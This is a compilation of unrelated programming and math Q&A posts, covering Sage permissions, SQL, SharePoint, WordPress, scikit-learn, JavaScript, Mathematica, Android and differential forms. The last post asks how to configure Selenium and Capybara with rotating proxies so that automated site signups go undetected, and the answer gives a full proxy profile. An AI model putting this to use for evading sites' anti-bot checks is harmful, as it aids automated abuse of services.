Q: sage install set up on debian server, help setting up correct DOT_SAGE permissions i just installed sage 6.2 from source on a debian server, then..
1)  command  sage -c 'print (3+5)'

*

*WORKS as expected from terminal

*FAILS from php script exec("sage -c 'print (3+5)'", $output[]);
throws the error
Error: environment variable $HOME is not set.
Error setting environment variables by sourcing '/mysoft/sage-6.2/src/bin/sage-env';...
2) partial fix:
   set export HOME='/var/www/junk'  in sage-env file
3) now

*

*LINE command sage -c 'print (3+5)' FAILS  from terminal log shows.. "...OSError: [Errno 13] Permission denied: '/var/www/junk/.sage/db'..."

*PHP script  exec("sage -c 'print (3+5)'", $output[]); WORKS as expected

so it seems i can make sage work thru command line or thru php script but not both at same time. depending on if i comment out
export HOME='/var/www/junk' or not..
moreover the real trouble is that with export HOME='/var/www/junk'  the entire server does not copy  or back up correctly throwing errors about permissions on the .sage directory.. and making all server backups  useless  [specifically using google cloud computing snapshots to back up entire server, but also throws errors even when taring the www directory ]...
ultimately i want to be able to able to run the php exec version of sage AND be able to back up and copy snapshots of server with no errors..   all help is MUCH appreciated as this is driving me crazy....


text:
Q: Accessing list from Site collection A inside SitcollectionB I have two site collections (A and B) belonging to the same content database. Inside site collection A there is a list "List1".. now i want to have the same list in the site collection B such -  if there are any changes made to the list 1 in site collection A the same changes should b reflected in  list1 inside site collection B - is this possible?

A: What kind of changes are we talking about?
If by changes you mean syncing of items, then you can simply write Item Receivers on List A for the ItemAdded, ItemDeleted and ItemUpdated events. When any of these events occur in List A, these receivers will open up SiteCollection B and inside that open up List B and do the necessary changes.
Here is a comprehensive guide on writing event receivers:
http://msdn.microsoft.com/en-us/library/gg749858.aspx

A: You can do it many ways:

*

*As Vardhaman suggested, use appropriate Item event handlers

*Using Item Created, changed, Deleted workflows

*Timer job which will periodically sync both lists.

Steps 2 & 3 will give control to users for manually syncying at anytime


text:
Q: How to delete lines between different clusters of timestamp in Grafana? As you can see below:

There are a lot of lines between different clusters of timestamp, which is so ugly from my perspective, Could I delete it?


text:
Q: SQL query returns exception I am running the examples to be found here: https://sqlzoo.net/wiki/SELECT_within_SELECT_Tutorial
I am given a table named world:

In this exercise I am getting an exception:

SELECT name, continent, population
FROM world
WHERE continent IN (
    SELECT continent FROM world x
    WHERE ALL(
        SELECT population FROM world y
        WHERE x.continent = y.continent
    ) <= 25000000
)

What is the reason for the exception, and how can I correct my code?

A: Looks like the value which should ALL .. compared to must be in front of ALL
SELECT name, continent, population
FROM world
WHERE continent IN (SELECT continent FROM world x WHERE 25000000> ALL(SELECT population FROM world y WHERE x.continent = y.continent) )


text:
Q: A specific aspx page hangs on postback forever In my application, out of 500 or so pages, only one specific page hangs forever. It keeps loading forever, never stops (I waited for 30 minutes).
Problem is this happens only in one or two off cases. Normally the same page works fine. It is a data entry page, so basically user will enter some data and we save the same in 2-3 different tables using a transaction. If I enter the data five times, it is possible it will hang 1 time, randomly. I tried saving exact same data five times, and it hung only twice, so clearly data is not at fault.
I also checked the database tables, and nothing seems to be locked either.
I am not sure, exactly why it is happening. I know it is extremely weird request, but I just want few suggestions for debugging.

A: Never mind. I finally got it. It was really a stupid problem. I had three insert and one select query in the transaction. Insert queries were fine. Select query was the one causing the timeout locking the transaction. Added an index on the table that was used by select query, and now it works perfect.


text:
Q: How to suppress script display after PLSQL Error in SQL Developer (disable command/code output) When i run PLSQL block with an error, SQL Developer repeats/duplicates the whole script before giving error details. This is very gruesome as i for long script, i end up scrolling down after each error.
I need to find a way to disable writing the whole script into the script console. I checked Preferences and help, but didn't spot anything related.
Error starting at line : 1 in command -
BEGIN
    xx;
END**;
Error report -
ORA-06550: line 2, column 5:
PLS-00201: identifier 'XX' must be declared
ORA-06550: line 2, column 5:
PL/SQL: Statement ignored
06550. 00000 -  "line %s, column %s:\n%s"
*Cause:    Usually a PL/SQL compilation error.
*Action:

I can also confirm that sqlplus does not do this - it only shows single line containing the error.

A: I guess, you didn't understand my comment clearly.
I advised you doing something like this:
BEGIN
    ...

    EXCEPTION
        WHEN OTHERS THEN
            DBMS_OUTPUT.PUT_LINE('Call stack:');
            DBMS_OUTPUT.PUT_LINE(DBMS_UTILITY.FORMAT_CALL_STACK);
            DBMS_OUTPUT.PUT_LINE(CHR(10)||'Error stack:');
            DBMS_OUTPUT.PUT_LINE(DBMS_UTILITY.FORMAT_ERROR_STACK);
            DBMS_OUTPUT.PUT_LINE(CHR(10)||'Error backtrace:');
            DBMS_OUTPUT.PUT_LINE(DBMS_UTILITY.FORMAT_ERROR_BACKTRACE);
END;
/


text:
Q: Status Indicator using Calculated Columns I am wanted to create a status indicator for a calendar. I'd prefer to use something that I can manipulate within a calculated column. I can work with multiple columns, but in the end I want it to give me the options of R A G and produce three colors on my list view. If I can get the colors in the form view, that would be even better, but is not required.

A: Try referencing the following:

*

*Color code item row based on column value in SharePoint Foundation 2013

*https://blog.splibrarian.com/2012/06/06/using-calculated-columns-to-add-color-coding-to-your-sharepoint-lists/

*https://social.technet.microsoft.com/Forums/office/en-US/80613cb7-10c9-4d96-8b91-a36f3feaec62/sharepoint-2013-calculated-column-formula-to-change-text-color-based-on-another-column?forum=sharepointgeneral

A: @hoffie4
•https://blog.splibrarian.com/2012/06/06/using-calculated-columns-to-add-color-coding-to-your-sharepoint-lists/
Thank you so much! I found in the comments of the article you sent me that if you select "Number" instead of "Line of single text" you can skip the steps after 4. in the solution for 2010. This worked out great for me, but I could not seem to get the indicator symbols with the online instantiation of SharePoint. Regardless this gave me a workable solution. Thanks!


text:
Q: Recognise if row is Valid based on combination of conditions in another table I have table Inbound with ~2mil records, with the following structure
    Inbound table
    ID   campaign_id   Entry_status  Error_code
    A1      1234            0            0
    B1      1234           -1           -1
    C1      4123            0           -15
    C1      4123            0            0

I also have a table Rules which is the list of all the combinations of Entry_status and Error_code which denote a valid entry in the Inbound table
    Rules table
    campaign_id   Entry_status  Error_code
       1234            0            0
       4123            0           -15

I am trying to create a query which will allow my to list all the entries in      Inbound   which are valid based on the combinations      Entry_status & Error_code in Rules
So far I have come up with this, but it is only giving me the invalid entries, and I also suspect it to be wrong.
SELECT * FROM Inbound
  WHERE ID not IN (
         SELECT ID FROM Inbound JOIN Rules
         on Inbound.campaign_id= Rules.campaign_id
         where Inbound.Entry_status = Rules.ENTRY_STATUS
          and
          Inbound.Error_code = Rules.Error_code
 )

It feels like I need to nest another query to take account of the combination of the 2 columns to produce a valid entry?
Had a look at this and this but not help as the validation criteria is a string, rather than a combination of columns
................................
Bonus
Is it possible to add true / false field in ìnbound which denotes if the records are valid based on the rule combination in rules
Can I run
      Update Inbound I
      SET I.valid = if(**select function** = True , 1 ,0 )

so Inbound has the valid and invalid entries flagged, rather than just another table

Select function courtesy of underscore-d
select distinct Inbound.*
from Inbound
inner join Rules on
Inbound.campaign_id = Rules.campaign_id
Where
Inbound.Entry_status = Rules.Entry_status and
Inbound.Error_code = Rules.Error_code;`

A: select distinct Inbound.*
from Inbound
inner join Rules on
    Inbound.campaign_id = Rules.campaign_id
where -- or adding these conditions to the INNER JOIN would be the same
    Inbound.Entry_status = Rules.Entry_status and
    Inbound.Error_code = Rules.Error_code;

...or just change your not in to an in, since you got it completely the wrong way around! Although that nested version seems more convoluted than this.


text:
Q: Wordpress custom loop if/else display I have pieced together the following code but can't quite get it to work as I need it to.
I'm using Advanced Custom fields to add a PDF upload to my custom post type ('software_pdf' field) so it needs to look at all the posts for that custom post type and if there are no PDF's uploaded to anyone of them, display a message 'No Data Available.'
If there is a PDF attached to any of the posts, it needs to not show the message and instead list just the titles that have a PDF attached.
My issue is that it lists the titles with PDF's attached but it also still shows the 'No Data Available' message and I am stuck on how to resolve that. Any help would be appreciated, thanks!
        $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
$custom_loop = new WP_Query(array(
  'paged' => $paged,
  'post_type' => 'Products',
  'cat' => 5,
  'posts_per_page' => 25,
  'orderby' => 'name',
  'order'   => 'ASC',
));

if ( $custom_loop->have_posts() ) :

while ( $custom_loop->have_posts() ) : $custom_loop->the_post();

$softwarepdf = get_field('software_pdf');

if (empty( $softwarepdf ) ) { ?>

No Data Available.

<? }

else { ?>

<?php the_title(); ?>

PDF

<? }

endwhile;

wp_reset_query();
endif;

A: Try get_post_meta(get_the_ID(), 'software_pdf'); instead of get_field('software_pdf');


text:
Q: tfidf vectorizer process shows error I am working on non-Engish corpus analysis but facing several problems. One of those problems is tfidf_vectorizer. After importing concerned liberaries, I processed following code to get results
contents = [open("D:\test.txt", encoding='utf8').read()]
#define vectorizer parameters
tfidf_vectorizer = TfidfVectorizer(max_df=0.8, max_features=200000,
                                 min_df=0.2, stop_words=stopwords,
                                 use_idf=True, tokenizer=tokenize_and_stem, ngram_range=(3,3))

%time tfidf_matrix = tfidf_vectorizer.fit_transform(contents)

print(tfidf_matrix.shape)

After processing above code I got following error message.
ValueError                                Traceback (most recent call last)
<ipython-input-144-bbcec8b8c065> in <module>()
      5                                  use_idf=True, tokenizer=tokenize_and_stem, ngram_range=(3,3))
      6
----> 7 get_ipython().magic('time tfidf_matrix = tfidf_vectorizer.fit_transform(contents) #fit the vectorizer to synopses')
      8
      9 print(tfidf_matrix.shape)

C:\Users\mazhar\Anaconda3\lib\site-packages\IPython\core\interactiveshell.py in magic(self, arg_s)
   2156         magic_name, _, magic_arg_s = arg_s.partition(' ')
   2157         magic_name = magic_name.lstrip(prefilter.ESC_MAGIC)
-> 2158         return self.run_line_magic(magic_name, magic_arg_s)
   2159
   2160     #-------------------------------------------------------------------------

C:\Users\mazhar\Anaconda3\lib\site-packages\IPython\core\interactiveshell.py in run_line_magic(self, magic_name, line)
   2077                 kwargs['local_ns'] = sys._getframe(stack_depth).f_locals
   2078             with self.builtin_trap:
-> 2079                 result = fn(*args,**kwargs)
   2080             return result
   2081

<decorator-gen-60> in time(self, line, cell, local_ns)

C:\Users\mazhar\Anaconda3\lib\site-packages\IPython\core\magic.py in <lambda>(f, *a, **k)
    186     # but it's overkill for just that one bit of state.
    187     def magic_deco(arg):
--> 188         call = lambda f, *a, **k: f(*a, **k)
    189
    190         if callable(arg):

C:\Users\mazhar\Anaconda3\lib\site-packages\IPython\core\magics\execution.py in time(self, line, cell, local_ns)
   1178         else:
   1179             st = clock2()
-> 1180             exec(code, glob, local_ns)
   1181             end = clock2()
   1182             out = None

<timed exec> in <module>()

C:\Users\mazhar\Anaconda3\lib\site-packages\sklearn\feature_extraction\text.py in fit_transform(self, raw_documents, y)
   1303             Tf-idf-weighted document-term matrix.
   1304         """
-> 1305         X = super(TfidfVectorizer, self).fit_transform(raw_documents)
   1306         self._tfidf.fit(X)
   1307         # X is already a transformed view of raw_documents so

C:\Users\mazhar\Anaconda3\lib\site-packages\sklearn\feature_extraction\text.py in fit_transform(self, raw_documents, y)
    836                                                        max_doc_count,
    837                                                        min_doc_count,
--> 838                                                        max_features)
    839
    840             self.vocabulary_ = vocabulary

C:\Users\mazhar\Anaconda3\lib\site-packages\sklearn\feature_extraction\text.py in _limit_features(self, X, vocabulary, high, low, limit)
    731         kept_indices = np.where(mask)[0]
    732         if len(kept_indices) == 0:
--> 733             raise ValueError("After pruning, no terms remain. Try a lower"
    734                              " min_df or a higher max_df.")
    735         return X[:, kept_indices], removed_terms

ValueError: After pruning, no terms remain. Try a lower min_df or a higher max_df.

If I change then min and max value the error is

A: Assuming your tokeniser works as expected, I see two problems with your code. First, TfIdfVectorizer expects a list of strings, whereas you are providing a single string. Second, min_df=0.2 is quite high- to be included, a term needs to occur in 20% of all documents, which is very unlikely for trigram features.
The following works for me
from sklearn.feature_extraction.text import TfidfVectorizer
with open("README.md") as infile:
    contents = infile.readlines() # Note: readlines() instead of read()

tfidf_vectorizer = TfidfVectorizer(max_df=0.8, max_features=200000,
                                   min_df=2, use_idf=True, ngram_range=(3,3))
# note: minimum of 2 occurrences, rather than 0.2 (20% of all documents)

tfidf_matrix = tfidf_vectorizer.fit_transform(contents)

print(tfidf_matrix.shape)

outputs (155, 28)


text:
Q: How to TEMORARILY disable a button from being pushed again I made a simple prompt generator for virtual Pictionary games with friends. The user clicks a button and gets a prompt to draw. I would like to have the button be disabled for a minute or so, to prevent the user from clicking the button again if they don't like their first prompt.
I'm very new to coding and haven't had much luck finding a solution. I know the setTimout() method will run an expression after a given time, but how do I do I do the inverse and prevent that expression from happening for a given time instead? Any advice is appreciated.
The only function I have so far is below, it simply randomizes a prompt from an array. The button executes the function onClick in the html, then returns the result in a text box.
  document.getElementById("textbox").value = prompts[Math.floor(Math.random() * prompts.length)];
}```

A: You can use what we call a "flag". In this case, the flag will be a variable you set to true or false to indicate if the user can click or not (the canClick variable in the below example). Whenever the user clicks, check the flag before executing your function. And use setTimeout to reset the flag after a delay:

var prompts = ["Cow", "Dog", "Cat", "Rat", "Owl"],
    canClick = true,
    clickDelay = 2 * 1000, // 2 seconds for the demo
    generateBtn = document.getElementById('generate-btn'),
    textbox = document.getElementById("textbox");

generateBtn.addEventListener('click', onBtnClick);

function onBtnClick() {
  if (canClick) {
    canClick = false;
    generateBtn.disabled = true;
    displayRandomPrompt();
    // After a delay
    setTimeout(function() {
      canClick = true;
      generateBtn.disabled = false;
    }, clickDelay);
  }
}

function displayRandomPrompt() {
  textbox.value = prompts[Math.floor(Math.random() * prompts.length)];
}
<input id="textbox" />
<button id="generate-btn">New suggestion</button>

A: https://jsfiddle.net/keoxn51p/
  button.disabled = true
  setTimeout(() => {
    button.disabled = false
  }, 60000)

Set your button to disabled and then run a function to remove that state in 60s.


text:
Q: How to implement something like NMaximize[ NMinimize [ f(x,y) , {x} ], {y} ]? Title says it all, really.
I want to find some set of values for which a function of those values can't be made larger than a certain number, when some other values (on which that function is also dependent) are unknown.

A: Guard against premature evaluation of the inside minimization by putting it inside a function which won't evaluate until a numeric argument is supplied:
f[x_, y_] = 1 + x^2 - y^2;
fminx[y_?NumericQ] := NMinValue[f[x, y], {x}];
FindMaximum[fminx[y], {y, 1.}] // AbsoluteTiming
(*
  {0.515133, {1., {y -> -7.45058*10^-9}}}
*)

NMaximize[fminx[y], {y}] // AbsoluteTiming
(*
  {47.629574, {1., {y -> -5.83182*10^-9}}}
*)

NMaximize takes a lot longer.  You might want to tune constraints and methods to suit your objective function.


text:
Q: Border in text android not in text view and not shadow I am trying to find an effect in text view android just like the below image.
This is a textview with border in the text:

Can anyone suggest me something to get this effect.
Thanks in advance :)

A: MagicTextView will do text outlines, amongst other things.

<com.qwerjk.better_text.MagicTextView
    xmlns:qwerjk="http://schemas.android.com/apk/res/com.qwerjk.better_text"
    android:textSize="78dp"
    android:textColor="#ff333333"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    qwerjk:strokeColor="#FFff0000"
    qwerjk:strokeJoinStyle="miter"
    qwerjk:strokeWidth="5"
    android:text="Magic" />

Note: I made this, and am posting more for the sake of future travelers than the OP.
 It's borderline spam, but being on-topic, perhaps acceptable?
sourcehttps://stackoverflow.com/posts/10294290/edit


text:
Q: Explicit expression for 1-forms which produce, by exterior derivative, a given 2-form in DR-cohomology for twice punctured plane I want to check a possible solution to a problem I cannot solve:
We know that closed 2-forms for $R^2-\{p,q\}$ are exact. Given a closed 2-form, what is a 1-form that gives us that 2-form under exterior derivative?
For $R^2-\{p\}$, just one point removed, we can do so in polar coordinates:
ω=f(r,θ)dr∧dθ. Then $h=(\int_1^r f(u,θ)du)dθ$ is a primitive of ω.
for $R^2-\{p,q\}$, could I consider two tangent circles of equal radius centered at each point and integrate points inside each circle just like the above, and on the outside sum the integrals?
Can anyone give the computation?
(this is not an assigned HW problem, just self reading a book)
Anyone ?


text:
Q: Is anything wrong with Selenium, while testing proxy with Capybara When lunching tests with Capybara, Selenium, Firefox (windows) I am using this type of code
  Capybara.reset_sessions!
  Capybara.register_driver :selenium do |app|
  profile = Selenium::WebDriver::Firefox::Profile.new

  profile["network.proxy.type"] = 1 # manual proxy config
                                    #profile["network.proxy.http"] = "209.188.18.130"
  profile["network.proxy.ssl"]  = "**********"
  profile["network.proxy.ssl_port"]             =   ****

  Capybara::Selenium::Driver.new(app, :profile => profile)
  end

But it seems to me that even with configuration the browser is not secured. For example using the same proxy in real Browser not in testing environment I get no problems making a signup to a new site . But when I do a test with Selenium Firefox Capybara even if I change many proxies - The site sees through it.
The question is: Is there any possibility to configure Selenium Firefox Capybara so that it should be protected as a real browser?
Thanks in Advance!

A: Yes.  The best way is to manually configure a browser and read its prefs.js file to see what the configuration actually is, then put that information in your profile going in to the constructor.  This is what I set up:
   profile["network.proxy.no_proxies_on"] = NO_PROXY_SETTING
   profile["network.proxy.backup.ftp"] = ""
   profile["network.proxy.backup.ftp_port"] = 0
   profile["network.proxy.backup.socks"] = ""
   profile["network.proxy.backup.socks_port"] = 0
   profile["network.proxy.backup.ssl"] = ""
   profile["network.proxy.backup.ssl_port"] = 0
   profile["network.proxy.ftp_port"] = PROXY_PORT
   profile["network.proxy.ftp"] = PROXY_HOST
   profile["network.proxy.http_port"] = PROXY_PORT
   profile["network.proxy.http"] = PROXY_HOST
   profile["network.proxy.share_proxy_settings"] = true
   profile["network.proxy.socks_port"] = PROXY_PORT
   profile["network.proxy.socks"] = PROXY_HOST
   profile["network.proxy.ssl_port"] = PROXY_PORT
   profile["network.proxy.ssl"] = PROXY_HOST
   profile["network.proxy.type"] = 1 # manual proxy config